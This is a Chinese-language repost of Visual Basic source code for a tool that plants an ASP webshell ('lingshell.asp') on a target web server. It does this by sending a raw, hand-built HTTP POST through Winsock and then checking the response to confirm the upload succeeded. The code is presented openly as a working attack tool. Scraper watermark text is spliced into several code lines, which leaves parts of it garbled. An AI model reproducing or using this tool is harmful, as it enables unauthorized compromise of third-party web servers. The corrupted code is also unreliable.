ASP木马后门提交工具全部核心VB代码

来自http://www.vbgood.com/viewthread.php?tid=68695&extra=page%3D1

Private Sub Command1_Click() 
Winsock1.RemotePort = Text3.Text 
Winsock1.RemoteHost = Text2.Text 
Winsock1.Connect 
Command1.Enabled = False 
Me.Timer2.Enabled = True 
End Sub 

Private Sub Timer2_Timer() 
If InStr(Text6.Text, "lingshell.asp") Then 
Me.Timer2.Enabled = False 
MsgBox "上传成功!! 木马已经上传到 http://" & Text2.Text & "" & Text4.Text & " 这个位置的目录下.WebShell文件为 lingshell.asp", , "恭喜" 
Else 
Me.Timer2.Enabled = False 
MsgBox "上传失败!", , "警告" 
End If 
End Sub 

Private Sub winsock1_Connect() 

’定义提交部分包头和数据 精华所在 

Dim PostPOST 
Dim PostAccept 
Dim PostReferer 
Dim PostAcceptLanguage 
Dim PostContentType 
Dim PostAcceptEncoding 
Dim PostUserAgent 
Dim PostHost 
Dim PostContentLength 
Dim PostConnection 
Dim PostCacheControl 
Dim PostCookie 
Dim PostDATA [bitsCN_com] 
Dim TopPostDATA 

PostPOST = "OST " & Text4.Text & " HTTP/1.1" 
PostAccept = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-shockwave-flash, */*" 
PostReferer = "Referer: http://" & Text2.Text & "/" 
PostAcceptLanguage = "Accept-Language: zh-cn" 
PostContentType = "Content-Type: application/x-www-form-urlencoded" 
PostAcceptEncoding = "Accept-Encoding: gzip, deflate" 
PostUserAgent = "User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 9.1; linghao ; www.chinanethack.com)" 
PostHost = "Host: " & Text2.Text & "" 
PostContentLength = "Content-Length: 7044" 
PostConnection = "Connection: Keep-Alive" 
PostCacheControl = "Cache-Control: no-cache" 
PostCookie = "Cookie: ASPSESSIONIDGGGGGSDQ=AMBLGJAACHFIJNEDMGGEHCHF" bitsCN.nET*中国网管博客 
PostDATA = Text1.Text 

TopPostDATA = PostPOST _ 
& vbCrLf & PostAccept _ 
& vbCrLf & PostReferer _ 
& vbCrLf & PostAcceptLanguage _ 
& vbCrLf & PostContentType _ 
& vbCrLf & PostAcceptEncoding _ 
& vbCrLf & PostUserAgent _ 
& vbCrLf & PostHost _ 
& vbCrLf & PostContentLength _ 
& vbCrLf & PostConnection _ 
& vbCrLf & PostCacheControl _ 
& vbCrLf & PostCookie & vbCrLf _ 

Winsock1.SendData TopPostDATA 

End Sub 

Private Sub Command2_Click() 
Winsock1.Close 
Command1.Enabled = True 
End Sub 

Private Sub winsock1_DataArrival(ByVal bytesTotal As Long) 

Dim HX As String 
Winsock1.GetData HX 
Text6.Text = HX 
End Sub 



’这里要使用时间控件来判断是因为返回有个时间间隔问题.而且如果你提交的字节数不规范服务器有可能不响应你.所以用时间判断返回是比较合理的.代码写得不好`望见谅~ TopPostDATA = 你的木马 使用POST

文章来自: 本站原创
引用通告地址: http://www.is21.cn/trackback.asp?tbID=308
Tags: